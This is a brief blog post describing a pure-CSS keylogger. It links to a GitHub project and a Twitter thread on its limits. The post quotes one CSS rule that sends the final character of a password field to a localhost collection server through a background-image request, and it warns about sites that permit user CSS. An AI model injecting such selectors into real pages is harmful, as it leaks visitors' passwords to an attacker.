CSS keylogger?
2018-02-21 00:56:13.053632+00 by Dan Lyke 0 comments
A keylogger written in pure CSS. https://github.com/maxchehab/CSS-Keylogging
For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
Beware sites that allow end-user customization... Although the Twitter thread at https://twitter.com/captbaritone/status/966051583132758016 suggests there this may only work for static values, not vanilla inputs, but does work on React inputs.